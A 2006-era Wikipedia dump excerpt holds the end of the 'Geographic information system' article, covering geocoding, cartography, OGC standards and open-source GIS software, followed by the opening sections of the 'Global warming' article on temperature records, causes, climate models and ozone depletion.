Digital Elevation Models (DEM), Digital Terrain Models (DTM), Triangulated Irregular Networks (TIN), Edge finding algorithms, Theissen Polygons, Fourier analysis, Weighted moving averages, Inverse Distance Weighted, Moving averages, Kriging, Spine, Trend surface analysis.

Regionalized variable theory

Spatial Autocorrelation Principle: Data collected at any position will have a greater similarity to, or influence on, those locations within its immediate vicinity. 
{{sect-stub}}

====Geocoding====
Calculating spatial locations (X,Y coordinates) from street addresses.  A reference theme is required to [[Geocoding|geocode]] individual addresses, such as a road centerline file with address ranges.  The individual address locations are interpolated, or estimated, by examining address ranges along a road segment.  These are usually provided in the form of a table or database.  The GIS will then place a dot approximately where that address belongs along the segment of centerline.  For example, an address point of 500 will be at the midpoint of a line segment that starts with address 1 and ends with address 1000.  Geocoding can also be applied against actual parcel data, typically from municipal tax maps. In this case, the result of the geocoding will be an actually positioned space as opposed to an interpolated point.

It should be noted that there are several (potentially dangerous) caveats that are often overlooked when using interpolation. See the full entry for [[Geocoding|Geocoding]] for more information.

Various algorithms are used to help with address matching when the spellings of addresses differ.  Address information that a particular entity or organization has data on, such as the post office, may not entirely match the reference theme.  There could be variations in street name spelling, community name, etc.  Consequently, the user generally has the ability to make matching criteria more stringent, or to relax those parameters so that more addresses will be mapped.  Care must be taken to review the results so as not to erroneously map addresses incorrectly due to overzealous matching parameters.

====Reverse geocoding====
Reverse geocoding is the process of returning an estimated street address number as it relates to a given coordinate.  For example, a user can click on a road centerline theme (thus providing a coordinate) and have information returned that reflects the estimated house number.  This house number is interpolated from a range assigned to that road segment.  If the user clicks at the midpoint of a segment that starts with address 1 and ends with 100, the returned value will be somewhere near 50.  Note that reverse geocoding does not return actual addresses, only estimates of what should be there based on the predetermined range.

===Data output and cartography===
[[Cartography]] is the design and production of maps, or visual representations of spatial data. The vast majority of modern cartography is done with the help of computers, usually using a GIS. Most GIS software gives the user substantial control over the appearance of the data.

Cartographic work serves two major functions:

First, it produces graphics on the screen or on paper that convey the results of analysis to the people who make decisions about resources. Wall maps and other graphics can be generated, allowing the viewer to visualize and thereby understand the results of analyses or simulations of potential events. [[Web Map Server]]s  facilitate distribution of generated maps via the [[web technology]].

Second, other database information can be generated for further analysis or use.  A list of all addresses within 1 mile of a toxic spill for instance.

===Graphic display techniques===
Traditional maps are abstractions of the real world, a sampling of important elements portrayed on a sheet of paper with symbols to represent physical objects. People who use maps must interpret these symbols. [[Topographic map]]s show the shape of land surface with [[contour line]]s; the actual shape of the land can be seen only in the mind's eye. 

Today, graphic display techniques such as [[shading]] based on [[altitude]] in a GIS can make relationships among map elements visible, heightening one's ability to extract and analyze information. For example, two types of data were combined in a GIS to produce a perspective view of a portion of [[San Mateo County]], [[California]]. 
*The [[digital elevation model]], consisting of surface elevations recorded on a 30-meter horizontal grid, shows high elevations as white and low elevation as black.
*The accompanying [[Landsat]] Thematic Mapper image shows a false-color infrared image looking down at the same area in 30-meter pixels, or picture elements, for the same coordinate points, pixel by pixel, as the elevation information.

A GIS was used to register and combine the two images to [[render]] the three-dimensional [[perspective view]] looking down the [[San Andreas Fault]], using the Thematic Mapper image pixels, but shaded using the elevation of the [[landform]]s. The GIS display depends on the viewing point of the [[observer]] and time of day of the display, to properly render the shadows created by the sun's rays at that latitude, longitude, and time of day.

==GIS software==
See the [[List of GIS software]].

==The future of GIS==
Many disciplines can benefit from GIS techniques. An active GIS market has resulted in lower costs and continual improvements in the hardware and software components of GIS. These developments will, in turn, result in a much wider use of the technology throughout science, government, [[business]], and [[industry]], with applications including [[real estate]], [[public health]], [[crime mapping]], [[national defense]], [[sustainable development]], [[natural resources]], transportation &amp;amp; logistics.

GIS is also developing into Location Based Services (nearest convenience store, restaurant, bar). These services are having a second birth with the switch on of the European GPS service; bringing cheaper and smaller GPS devices integrated with everyday objects (Cell phones, PDA's, Laptops).

GIS has also been given mass-market appeal by the emergence of [[Google Earth]] and Street Map sites. Suddenly a persons life travels can be plotted and studied by friends and family. Holidays can be planned with information such as shops, restaurants, local interest sites and even where to find a US Warship in a hurry!

===OGC standards===
[[Open Geospatial Consortium]] (OGC) in short is an international industry consortium of 257 companies, government agencies and universities participating in a consensus process to develop publicly available geoprocessing specifications. Open interfaces and protocols defined by OpenGIS Specifications support interoperable solutions that &quot;geo-enable&quot; the Web, wireless and location-based services, and mainstream IT, and empower technology developers to make complex spatial information and services accessible and useful with all kinds of applications.

''Compliant Products'', that is, software products that comply to OGC's OpenGIS® Specifications. When a product has been tested and certified as compliant through the OGC Testing Program, the product is automatically registered as &quot;compliant&quot; on this site.

''Implementing Products'', that is, software products that implement OpenGIS Specifications but have not yet passed a compliance test. (Compliance tests are not available for all specifications.) Developers can register their products as implementing draft or approved specifications. (OGC reserves the right to review and verify each entry.)
{{sect-stub}}

===Open Source GIS Software===
The use of [[open-source software]] is not new, and for a time provided arguably the best GIS available.  [[GRASS GIS]] is probably the most well-known of these systems.  Originally developed by the U.S. Army Construction Engineering Research Laboratories (USA-CERL, 1982-1995), a branch of the US Army Corp of Engineers, as a tool for land management and environmental planning by the military, GRASS has evolved into a powerful utility with a wide range of applications in many different areas of scientific research. GRASS is currently used in academic and commercial settings around the world, as well as many governmental agencies including NASA, NOAA, USDA, DLR, CSIRO, the National Park Service, the U.S. Census Bureau, USGS, and many environmental consulting companies.

With the broad use of non-proprietary data formats such as the Shape File format for vector data and the Geotiff format for raster data, as well as the adoption of Open Geospatial Consortium (OGC) protocols such as Web Mapping Service (WMS) and Web Feature Service (WFS), development of open source software continues to evolve, especially for web and [[web service]] oriented applications.

[[Google Maps]] is different from other [[Web map server|web map servers]] (like [[MapQuest]], [[Yahoo! Maps]], or [http://www.randmcnally.com/ Rand McNally]) because Google Maps exposes an [[Application programming interface|API]] that enables users to associate attributes with interactive maps. This is in effect a GIS. However Google Maps is largely &quot;point&quot; oriented and other than using different point markers, you have to click on the markers to get the metadata.

===Global change and [[climate]] history program===
Maps have traditionally been used to explore the Earth and to exploit its resources. GIS technology, as an expansion of cartographic science, has enhanced the efficiency and analytic power of traditional mapping. Now, as the scientific community recognizes the environmental consequences of human activity, GIS technology is becoming an essential tool in the effort to understand the process of global change. Various map and satellite information sources can combine in modes that simulate the interactions of complex natural systems.

Through a function known as visualization, a GIS can be used to produce images - not just maps, but drawings, animations, and other cartographic products. These images allow researchers to view their subjects in ways that literally never have been seen before. The images often are equally helpful in conveying the technical concepts of GIS study-subjects to non-scientists.

===Adding the dimension of time===
The condition of the Earth's surface, atmosphere, and subsurface can be examined by feeding satellite data into a GIS. GIS technology gives researchers the ability to examine the variations in Earth processes over days, months, and years. 

As an example, the changes in vegetation vigor through a growing season can be animated to determine when drought was most extensive in a particular region. The resulting graphic, known as a normalized vegetation index, represents a rough measure of plant health. Working with two variables over time would then allow researchers to detect regional differences in the lag between a decline in rainfall and its effect on vegetation.

GIS technology and the availability of digital data on regional and global scales enable such analyses. The satellite sensor output used to generate a vegetation graphic is produced by the Advanced Very High Resolution Radiometer or [[AVHRR]]. This sensor system detects the amounts of energy reflected from the Earth's surface across various bands of the spectrum for surface areas of about 1 square kilometer. The satellite sensor produces images of a particular location on the Earth twice a day. AVHRR is only one of many sensor systems used for Earth surface analysis. More sensors will follow, generating ever greater amounts of data.

GIS and related technology will help greatly in the management and analysis of these large volumes of data, allowing for better understanding of terrestrial processes and better management of human activities to maintain world economic vitality and environmental quality.

In addition to the integration of time in environmental studies, GIS is also being explored for its ability to track and model the progress of humans throughout their daily routines.  A concrete example of progress in this area is the recent release of time-specific population data by the [[US Census]].  In this data set, the populations of cities are shown for daytime and evening hours highlighting the pattern of concentration and dispersion generated by North American commuting patterns.  The manipulation and generation of data required to produce this data would not have been possible without GIS.

==See also==
*[[Cartography]]
*[[Digital raster graphic]]
*[[Geodesy]]
*[[Geoinformatics]]
*[[Geoinformation]]
*[[Geomatics]]
*[[List of GIS software]]
*[[Open GIS Consortium]]
*[[Remote sensing]]
*[[Virtual globe]]
*[[Topologically Integrated Geographic Encoding and Referencing]] (TIGER), an US standard for GIS data

==Textbooks==
*Berry, J.K. 1993. &quot;Beyond Mapping: Concepts, Algorithms and Issues in GIS&quot;. Fort Collins, CO: GIS World Books.
*Burrough, P.A. and McDonnell, R.A., 1998. Principles of geographical information systems. Oxford University Press, Oxford, 327 pp. [http://www.oup.co.uk/best.textbooks/geography/burrough/]
*Heywood, I., Cornelius, S., and Carver, S. 2002. ''An Introduction to Geographical Information Systems''. Andison Wesley Longman. 2nd edition.
*Longley, P.A., [[Michael Frank Goodchild|Goodchild, M.F.]], Maguire, D.J. and Rhind, D.W. (2005): ''Geographic Information Systems and Science''. Chichester: Wiley. 2nd edition.[http://www.wiley.com/go/longley/]
*Thurston, J., Poiker, T.K. and J. Patrick Moore. (2003):&quot;Integrated Geospatial Technologies: A Guide to GPS, GIS, and Data Logging&quot;. Hoboken, New Jersey: Wiley. [http://www.wiley.com/WileyCDA/WileyTitle/productCd-0471244090.html]
*Wise, S. 2002. &quot;GIS Basics&quot;. London: Taylor &amp; Francis.
*Worboys, Michael, and Matt Duckham. 2004. ''GIS: a computing perspective''. Boca Raton: CRC Press. [http://worboys.duckham.org]
*Wheatley, David and Gillings, Mark, 2002. Spatial Technology and Archaeology. The Archaeological Application of GIS. London, New York, Taylor &amp; Francis.

==University Degree Programmes==
*[http://www.geos.ed.ac.uk/gis/ University of Edinburgh]
*[http://www.gisatucl.info/ University College London (UCL)]

==External links==
&lt;!-- Please keep this list alphabetized.  Thanks! --&gt;
*[http://www.clearmaps.com ClearMaps.com]Links to the GIS industry.
*[http://coweeta.ecology.uga.edu/fb_new/lt_catalog.html Coweeta LTER GIS]GIS for the southern Appalachians.
*[http://www.connotea.org/tag/gis Connotea]Connotea links for GIS and Google Earth.
*[http://www.directionsmag.com/ Directions Magazine] &amp;mdash; GIS industry news, events, discussion, etc.
*[http://www.fgdc.gov/ Federal Geographic Data Committee] &amp;mdash; United States federal government standards agency
*[http://freegis.org Freegis.org] software overview on Free Geographic Information Systems and communication on developments, plans, infos on Free GIS Software and Free Geo-Data
*[http://www.fuerstensitze.de/1121] &amp;mdash; German research project, working with GIS as a tool in archaeological research
*[http://www.eogeo.org/Projects/projects_wiki/FreeGISBook FreeGISBook] &amp;mdash; WiKi project to develop a community based book and documents on free GIS programs and open standards.
*[http://www.geoconnexion.com Geoconnexion Int'l Magazine] &amp;mdash; Geoinformation Serving the World
*[http://www.geocodeamerica.com Geocode America] : US Address Geocoding.  Java/.NET/Ruby sample soap/rest apis. Free for non-commerical use
*[http://www.gepower.com/prod_serv/products/gis_software/en/index.htm GE Energy] &amp;mdash; GE Energy's Geospatial Asset Management
*[http://www.geoplace.com Geoplace] &amp;mdash; free source of GIS Industry information
*[http://www.andysocial.com/wiki/index.php/Imagery Giiki Wiki GIS] &amp;mdash; English-language wiki for Geographic Information Systems and amateur imagery/IMINT.
*[http://www.gis.com/ GIS.COM] &amp;mdash;  A portal to GIS information on the Web. The site showcases how people use GIS and geospatial technology and provides GIS users with links to resources to help them in their work.
*[http://gislounge.com/ GISLounge.com] &amp;mdash;  Articles and useful links to GIS and cartography related web resources.  
*[http://www.gisuser.com GISuser.com] GIS news, jobs, articles, discussion, webmap gallery, daily newsletter, and more.
*[http://www.giscorps.org giscorps.org] &amp;mdash; A program under URISA, GISCorps is a vehicle for GIS experts from all over the world to volunteer their time to developing economies across the globe.
*[http://en.giswiki.de GISWiki - a wiki for geoinformatics]
*[http://www.geog.ubc.ca/courses/klink/gis.notes/ncgia/toc.html NCGIA Core Curriculum in GIS] &amp;mdash; lecture notes for educators written by the National Center for Geographic Information Analysis (NCGIA).
*[http://gis.nitle.org NITLE Initititive on GIS in Education]
*[http://www.opengis.org Open Geospatial Consortium]
*[http://www.osgeo.org/ Open Source Geospatial Foundation]
*[http://www.opensourcegis.org Open Source GIS] Master Index of Open Source GIS Software
*[http://www.planiglobe.com/ www.planiglobe.com] Interactive mapserver with country and city search, offers vector versions (Postscript, Illustrator) for download. Free usage (cc-by licence).
*[http://slashgeo.org/ slashgeo.org] &amp;mdash; GIS ad-free non-commercial news and discussions.
*[http://www.spatiallink.org/ spatiallink_org] &amp;mdash; Linking Spatial Professionals and Volunteers Through Search, Profile, News, Blog, Forum, Map, Chat, WIKI, WAP and Other GIS Tools
*[http://www.unigis.net UNIGIS] &amp;mdash; worldwide consortium of universities providing postgraduate courses by distance-learning.
*[http://www.walis.wa.gov.au WALIS] &amp;mdash; Western Australia Land Information System - Coordinating geographic information for Western Australia
*[http://gis.ednet.ns.ca/gis_uses_in_US.htm Web-based GIS: An Overview of Sites and Resources]
&lt;!--http://vs.aka-online.de/globalwpsearch/--&gt;

[[Category:Geographic Information Systems|*]]
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[[fa:سامانه اطلاعات جغرافیایی]]
[[fr:Système d'information géographique]]
[[id:Sistem Informasi Geografis]]
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[[he:מערכת מידע גאוגרפית]]
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[[ja:地理情報システム]]
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[[zh:地理信息系统]]</text>
    </revision>
  </page>
  <page>
    <title>Global warming</title>
    <id>12399</id>
    <revision>
      <id>42088722</id>
      <timestamp>2006-03-03T19:25:26Z</timestamp>
      <contributor>
        <ip>24.232.214.127</ip>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">[[Image:Instrumental_Temperature_Record.png|thumb|250px|right|Global mean surface temperatures 1856 to 2005]]
[[Image:Global Warming Map.jpg|thumb|250px|right|Mean temperature anomalies during the period 1995 to 2004 with respect to the average temperatures from 1940 to 1980]]

'''Global warming''' is an increase in the [[Historical temperature record|average temperature]] of the [[Earth's atmosphere]] and [[ocean]]s.  The term is also used for the scientific [[theory]] of ''anthropogenic global warming'', which attributes much of the recently observed and projected global warming to a human-induced intensification of the [[greenhouse effect]]. In this theory, the increased volumes of [[carbon dioxide]] and other [[greenhouse gas]]es released mainly by the burning of [[fossil fuel]]s, and, to a lesser extent, land clearing and agriculture, are the primary sources of warming. The natural greenhouse effect keeps the Earth about 33&amp;nbsp;°[[Celsius|C]] warmer than it otherwise would be; adding carbon dioxide to an atmosphere, with no other changes, will make a planet's surface warmer. Current research is attempting to further illuminate and quantify the processes and factors that can affect temperature change, especially positive and negative [[feedback]] mechanisms. 

Temperature change is just one aspect of the broader subject of [[climate change]]. The [[scientific opinion on climate change]], as expressed by the [[UN]] [[Intergovernmental Panel on Climate Change]] (IPCC) and explicitly endorsed by the national science academies of the [[G8]] nations, is that the average global temperature has risen &lt;!-- The following is an approximate 95% confidence interval, please DO NOT replace by 0.4-0.8 --&gt;0.6 ± 0.2&amp;nbsp;°C since the late 19th century, and that it is likely that &quot;most of the warming observed over the last 50 years is [[Attribution of recent climate change|attributable to human activities]]&quot; [http://www.grida.no/climate/ipcc_tar/wg1/007.htm]. A [[list of scientists opposing global warming consensus|small minority of qualified scientists]] contest the view that humanity's actions have played a significant role in increasing recent temperatures. Uncertainties do exist regarding how much climate change should be expected in the future, and a hotly contested political and public debate exists over what actions, if any, should be taken in light of global warming.

Based on basic science, observational sensitivity studies, and the [[General circulation model|climate model]]s referenced by the IPCC, temperatures may increase by 1.4 to 5.8&amp;nbsp;°C between [[1990]] and [[2100]] [http://www.sciencemag.org/cgi/reprint/309/5731/100.pdf]. This is expected to result in other climate changes including rises in [[sea level rise|sea level]] and changes in the amount and pattern of [[precipitation (meteorology)|precipitation]].  Such changes may increase the frequency and intensity of extreme weather events such as [[flood]]s, [[drought]]s, [[heat wave]]s, and [[hurricane]]s, change [[agricultural]] yields, cause [[glacier retreat]], reduced summer streamflows, or contribute to biological [[extinction]]s. Although warming is expected to affect the number and magnitude of these events, it is very difficult to connect any particular event to global warming.

== Overview ==
{{Sidebar|'''Terminology'''

'Global warming' is a specific case of the more general term '[[climate change]]' (which can also refer to cooling, such as in [[Ice age]]s). Furthermore, the term is in principle neutral as to the causes, but in common usage, 'global warming' generally implies a human influence. Note, however, that the [[UNFCCC]] uses 'climate change' for human caused change and 'climate variability' for non-human caused change [http://www.grida.no/climate/ipcc_tar/wg1/518.htm]. Some organizations use the term 'anthropogenic climate change' for human induced changes.

See also: [[Glossary of climate change]]
}}

The [[scientific consensus]] on global warming is that the [[Earth]] is warming, and that humanity's [[greenhouse gas]] emissions are making a significant contribution. This consensus is summarized by the findings of the [[Intergovernmental Panel on Climate Change]] (IPCC).  In the [[TAR (IPCC)|Third Assessment Report]], the IPCC concluded that &quot;most of the warming observed over the last 50 years is [[Attribution of recent climate change|attributable to human activities]]&quot;. This position was recently supported by an international group of science academies from the [[G8]] countries and [[Brazil]], [[People's Republic of China]] and [[India]] [http://www.royalsoc.ac.uk/displaypagedoc.asp?id=13057].

The global temperature on both land and sea has increased by 0.6 ± 0.2&amp;nbsp;°C over the past century [http://www.grida.no/climate/ipcc_tar/wg1/figspm-1.htm].  At the same time, the volume of atmospheric [[carbon dioxide]] has increased from around 280 [[parts per million]] in 1800 to around 315 in 1958 and 367 in 2000, a 31% increase over 200 years. Other greenhouse gas emissions have also increased.  Future carbon dioxide levels are expected to continue rising due to ongoing fossil fuel usage, though the actual trajectory will depend on uncertain economic, sociological, technological, and natural developments.  The IPCC [[Special report on emissions scenarios]] gives a wide range of future carbon dioxide scenarios [http://www.grida.no/climate/ipcc_tar/wg1/123.htm], ranging from 540 to 970 parts per million by 2100.

[[General circulation model|Climate model]]s, driven by estimates of increasing carbon dioxide and to a lesser extent by generally decreasing [[sulfate|sulphate]] [[particulate|aerosols]], predict temperatures will increase by between 1.4 and 5.8&amp;nbsp;°C in the period 1990 to 2100 [http://www.grida.no/climate/ipcc_tar/wg1/339.htm]. Much of this uncertainty results from not knowing future carbon dioxide emissions, but there is also uncertainty about the accuracy of climate models. [[Climate commitment studies]] predict that, even if levels of greenhouse gases and solar activity were to remain constant, the global climate is committed to 0.5&amp;nbsp;°C of warming &amp;mdash; some model results are as high as 1.0&amp;nbsp;°C &amp;mdash; over the next one hundred years due to the lag in warming caused by the oceans. Note that although most studies focus on the period up to 2100, warming would be expected to continue past then, since CO2 has a long average atmospheric lifetime [http://www.realclimate.org/index.php?p=134]. 

Although the combination of scientific consensus and economic incentives were enough to persuade the [[List of Kyoto Protocol signatories|governments of more than 150 countries]] to ratify the [[Kyoto Protocol]], there are issues about just how much greenhouse gas emissions warm the planet. Some politicians, including [[President of the United States]] [[George W. Bush]] [http://www.washingtonpost.com/wp-dyn/content/article/2005/07/06/AR2005070602298.html], [[Prime Minister of Australia|Prime Minister of Australia]] [[John Howard]] [http://www.theaustralian.news.com.au/common/story_page/0,5744,17747938%255E30417,00.html], and public intellectuals such as [[Bjørn Lomborg]] [http://www.newsweekly.com.au/articles/2001dec01_lomborg.html] and [[Ronald Bailey]] [http://reason.com/rb/rb061301.shtml] have argued the cost of [[mitigation of global warming|mitigating global warming]] is too large to be justified. However, some segments of the [[business position on climate change|business community]] have accepted both the reality of global warming and its attribution to anthropogenic causes, as well as the need for actions such as [[carbon emissions trading]] and [[carbon tax]]es.

==Warming of the Earth==
{{See also|Temperature record of the past 1000 years}}
[[Image:2000_Year_Temperature_Comparison.png|thumb|250px|right|Two millennia of temperatures according to different reconstructions, each smoothed on a decadal scale. The unsmoothed, annual value for 2004 is also plotted for reference.]]

Relative to 1860-1900 the global temperature on both land and sea has increased by [[Instrumental temperature record|0.75&amp;nbsp;°C]]. Temperatures in the lower [[troposphere]] have increased between [[Satellite temperature measurements|0.12 and 0.22&amp;nbsp;°C per decade]] since 1979. Over the past one or two thousand years before 1850, world temperature is believed to have been relatively stable, with various fluctuations, which are possibly local, such as the [[Medieval Warm Period]] or the [[Little Ice Age]].

Based on estimates by [[NASA]]'s [[Goddard Institute for Space Studies]], 2005 was the warmest year since reliable wide-spread instrumental measurements became available in the late 1800s, beating the previous record set in 1998 by a few hundredths of a degree Celsius.  Similar estimates prepared by the [[World Meteorological Organization]] and the [[United Kingdom|UK]]'s [[Climatic Research Unit]] concluded that 2005 was still only the second warmest year behind 1998.  [http://www.realclimate.org/index.php?p=231]

Depending on the time frame, different [[temperature record]]s are available. These are based on different data sets, with different degrees of precision and reliability. An approximately global [[instrumental temperature record]] begins in about 1860; contamination from the [[urban heat island]] effect is believed to be small. A longer-term perspective is available from various proxy records for recent millennia; see [[temperature record of the past 1000 years]] for a discussion of these records and their differences. The [[attribution of recent climate change]] is clearest for the most recent period of the last 50 years, for which the most detailed data is available. [[Satellite temperature measurements]] of the tropospheric temperature date from 1979.

==Causes of global warming==
{{main articles|[[Attribution of recent climate change]] and [[Scientific opinion on climate change]]}}
[[Image:Carbon Dioxide 400kyr-2.png|thumb|right|250px|[[Carbon dioxide]] during the last 400,000 years and the rapid rise since the [[Industrial Revolution]]; changes in the Earth's orbit around the Sun ([[Milankovitch cycles]]) are believed to be the pacemaker of the 100,000 year. [[ice age]] cycle]]
[[Image:Co2-temperature-plot.png|thumb|right|250px|Covariation of atmospheric [[Carbon dioxide]] and global temperature during the last 650,000 years]]
The climate system varies both through natural, &quot;internal&quot; processes as well as in response to variations in external &quot;forcing&quot; from both human and non-human causes, including [[solar activity]], and volcanic emissions as well as [[greenhouse gas]]es. Climatologists accept that the earth has warmed recently but the [[attribution of recent climate change|cause or causes of this change]] is somewhat more controversial, especially outside the scientific community.

Atmospheric scientists know that adding [[carbon dioxide]] (CO&lt;sub&gt;2&lt;/sub&gt;) or [[methane]] (CH&lt;sub&gt;4&lt;/sub&gt;) to an atmosphere, with no other changes, will tend to make a planet's surface warmer. Indeed, greenhouse gases create a natural [[greenhouse effect]] without which temperatures on Earth would be an estimated 30&amp;nbsp;°C lower, and the Earth uninhabitable. It is therefore not correct to say that there is a debate between those who &quot;believe in&quot; and &quot;oppose&quot; the theory that adding carbon dioxide or CH&lt;SUB&gt;4&lt;/SUB&gt; to the Earth's atmosphere will result in warmer surface temperatures on Earth, absent indirect mitigating effects.  Rather, the debate is about what the net effect of the addition of carbon dioxide and CH&lt;SUB&gt;4&lt;/SUB&gt; will be.

===Greenhouse gas emissions===
[[Image:Major greenhouse gas trends.png|thumb|right|350px|Greenhouse gas trends]]
The combustion of fossil fuels, including the coal-burning [[Power station|power plants]], automobile exhausts, factory smokestacks, and other waste vents of the human environment contribute about 22 billion tons of carbon dioxide and other [[greenhouse gas]]es into the earth's atmosphere each year.  About half of human emissions have remained in the atmosphere{{fact}}. Animal agriculture, manure, natural gas, rice paddies, landfills, coal, and other anthropogenic sources contribute about 450 million tons of methane each year according to TAR[http://www.grida.no/climate/ipcc_tar/wg1/134.htm#4211].  The atmospheric concentrations of carbon dioxide and CH&lt;SUB&gt;4&lt;/SUB&gt; have increased by 31% and 149% respectively above pre-industrial levels since 1750. This is considerably higher than at any time during the last 650,000 years, the period for which reliable data has been extracted from [[ice core]]s. From less direct geological evidence it is believed that carbon dioxide values this high were last attained 40 million years ago. About three-quarters of the anthropogenic emissions of carbon dioxide to the atmosphere during the past 20 years is due to [[fossil fuel]] burning. The rest is predominantly due to land-use change, especially [[deforestation]] [http://www.grida.no/climate/ipcc_tar/wg1/006.htm]. 

The longest continuous instrumental measurement of carbon dioxide mixing ratios began in 1958 at [[Mauna Loa]].  Since then, the annually averaged value has increased [[monotonic function|monotonic]]ally from 315 [[parts per million|ppmv]] (see the [[Keeling Curve]]). The concentration reached 376 ppmv  in 2003. South Pole records show similar growth [http://www.cmdl.noaa.gov/info/spo2000.html].  The monthly measurements display small seasonal oscillations.

Note that anthropogenic emissions of other pollutants - notably sulphate aerosol - exert a cooling effect; this can account for the plateau/cooling seen in the temperature record in the middle of the 20th century [http://www.grida.no/climate/ipcc_tar/wg1/462.htm].

===Alternative theories===
====Solar variation theory====
[[Image:Solar-cycle-data.png|thumb|right|20 years of solar output]]
{{main|Solar variation theory}} 

Direct [[solar variation|variations in solar output]] appear too small to have substantially affected the climate; nonetheless some researchers (e.g. [http://www.dsri.dk/~hsv/SSR_Paper.pdf]) have proposed that feedbacks from clouds or other processes enhance the effect. 

In the IPCC Third Assessment Report (TAR), it was reported that volcanic and solar forcings might account for half of the temperature variations prior to 1950, but that the net effect of such natural forcings was roughly neutral since then [http://www.grida.no/climate/ipcc_tar/wg1/450.htm]. In particular, the change in climate forcing from greenhouse gases since 1750 was estimated to be 8 times larger than the change in forcing due to [[:Image:Solar Activity Proxies.png|increasing solar activity]] over the same period [http://www.grida.no/climate/ipcc_tar/wg1/251.htm#tab611].

Since the TAR, various studies (Lean et al., 2002, Wang et al., 2005) have suggested that changes in irradiance since pre-industrial times are less by a factor of 3-4 than in the reconstructions used in the TAR (e.g. Hoyt and Schatten, 1993, Lean, 2000.). Stott et al. [http://climate.envsci.rutgers.edu/pdf/StottEtAl.pdf] estimated solar forcing to be 16% or 36% of greenhouse warming.

====Other theories====
Various other hypotheses have been proposed, including but not limited to:

* The warming is within the range of natural variation. 
* The warming is a consequence of coming out of a prior cool period &amp;mdash; the [[Little Ice Age]].
* The warming trend itself has not been clearly established.

At present, none of these has more than a small number of supporters within the climate science community.

==Climate models==
[[Image:Global Warming Predictions.png|thumb|250px|Calculations of global warming through 2100 from a range of [[climate model]]s under the [[SRES]] A2 emissions scenario, one of the IPCC scenarios that assumes no action is taken to reduce emissions.]]
[[Image:Global Warming Predictions Map.jpg|thumb|250px|Shows the distribution of warming during the 21&lt;sup&gt;st&lt;/sup&gt; century calculated by the HadCM3 climate model (one of those used by the IPCC) if a business as usual scenario is assumed for economic growth and greenhouse gas emissions.  The average warming calculated by this model is 3.0&amp;nbsp;°C.]]
{{main|General circulation model}}

Scientists have studied this issue with computer models of the climate (see below).  These models are accepted by the scientific community as being valid only after it has been shown that they do a good job of simulating known climate variations, such as the difference between summer and winter, the [[North Atlantic Oscillation]], or [[El Niño]].  All climate models that pass these tests also predict that the net effect of adding greenhouse gases will be a warmer climate in the future.  The amount of predicted warming varies by model, however, which probably reflects the way different models depict clouds differently.

As noted above, climate models have been used by the IPCC to anticipate a warming of 1.4&amp;nbsp;°C to 5.8&amp;nbsp;°C between 1990 and 2100 [http://www.grida.no/climate/ipcc_tar/wg1/339.htm].  They have also been used to help investigate the [[Attribution of recent climate change|causes of recent climate change]] by comparing the observed changes to those that the models predict from various natural and human derived forcing factors.

The most recent climate models can produce a good match to observations of global temperature changes over the last century.  These models do not unambiguously attribute the warming that occurred from approximately 1910 to 1945 to either natural variation or human effects; however, they suggest that the warming since 1975 is dominated by man-made [[greenhouse gas]] emissions. Adding simulation of the ability of the environment to sink carbon dioxide suggested that rising fossil fuel emissions would decrease absorption from the atmosphere, amplifying climate warming beyond previous predictions, although ''&quot;Globally, the amplification is small at the end of the 21st century in this model because of its low transient climate response and the near-cancellation between large regional changes in the hydrologic and ecosystem responses&quot; ''[http://www.pnas.org/cgi/reprint/0504949102v1].

Another suggested mechanism whereby a warming trend may be amplified involves the thawing of [[tundra]], which can release the potent greenhouse gas, methane, that is trapped in large quantities in [[permafrost]] and ice [[clathrates]] [http://www.newscientist.com/article.ns?id=mg18725124.500].

Uncertainties in the representation of clouds are a dominant source of uncertainty in existing models, despite clear progress in modeling of clouds [http://www.grida.no/climate/ipcc_tar/wg1/271.htm].  There is also an ongoing discussion as to whether climate models are neglecting important indirect and feedback effects of [[solar variability]].  Further, all such models are limited by available computational power, so that they may overlook changes related to small scale processes and weather (e.g. storm systems, hurricanes).  However, despite these and other limitations, the [[IPCC]] considered climate models &quot;to be suitable tools to provide useful projections of future climates&quot; [http://www.grida.no/climate/ipcc_tar/wg1/309.htm].

In December, 2005 Bellouin et al suggested in Nature that the reflectivity effect of airborne pollutants was about double that previously expected, and that therefore some global warming was being masked. If supported by further studies, this would imply that existing models underpredict future global warming. [http://www.chinadaily.com.cn/english/doc/2005-12/23/content_505942.htm]

==Issues==
===Relation to ozone depletion===
{{main|Ozone depletion}}

Although they are often interlinked in the [[mass media]], the connection between global warming and [[ozone depletion]] is not strong. There are four areas of linkage:

* Global warming from carbon dioxide radiative forcing is expected (perhaps somewhat surprisingly) to ''cool'' the [[stratosphere]]. This, in turn, would lead to a relative ''increase'' in [[ozone]] depletion and the frequency of ozone holes.

* Conversely, ozone depletion represents a radiative forcing of the climate system. There are two opposed effects: reduced ozone allows more solar radiation to penetrate, thus warming the [[troposphere]]. But a colder stratosphere emits less long-wave radiation, tending to cool the troposphere. Overall, the cooling dominates: the IPCC concludes that ''observed stratospheric [[Ozone|O&lt;sub&gt;3&lt;/sub&gt;]] losses over the past two decades have caused a negative forcing of the surface-troposphere system'' [http://www.grida.no/climate/ipcc_tar/wg1/223.htm] of about &amp;#8211;0.15 ± 0.10 W m&amp;#8211;2 [http://www.ipcc.ch/press/SPM.pdf].

* One of the strongest predictions of the global warming theory is that the [[stratosphere]] will cool. However, although this is observed, it is difficult to use it as an [[attribution of recent climate change]]. One of the difficulties of this conclusion includes the fact that warming induced by increased solar radiation would not have this upper cooling effect. However, similar cooling is caused by ozone depletion.

* Ozone depleting chemicals are also greenhouse gases, representing 0.34 ± 0.03 W/m&lt;sup&gt;2&lt;/sup&gt;, or about 14% of the total radiative forcing from well-mixed greenhouse gases [http://www.ipcc.ch/press/SPM.pdf].

===Relation to global dimming===
{{main|Global dimming}}

Some scientists now consider that the effects of the recently recognized phenomenon of [[global dimming]] (the reduction in sunlight reaching the surface of the planet, possibly due to aerosols) may have masked some of the effect of global warming. If this is so, the indirect aerosol effect is stronger than previously believed, which would imply that the climate sensitivity to greenhouse gases is also stronger. Concerns about the effect of aerosol on the global climate were first researched as part of concerns over [[global cooling]] in the 1970s.

===Pre-human global warming===
